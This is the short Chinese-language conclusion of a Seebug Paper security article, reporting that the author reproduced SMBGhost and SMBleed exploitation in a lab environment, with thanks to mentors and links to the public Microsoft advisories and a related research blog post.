本文对公开的关于 SMBGhost 和 SMBleed 漏洞的几种利用思路进行跟进,逆向了一些关键结构和算法特性,最终在实验环境下拿到了System Shell。非常感谢 blackwhite 和 zcgonvh 两位师傅,在此期间给予的指导和帮助,希望有天能像他们一样优秀。最后放上两种利用思路的复现结果:
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1206
https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1346/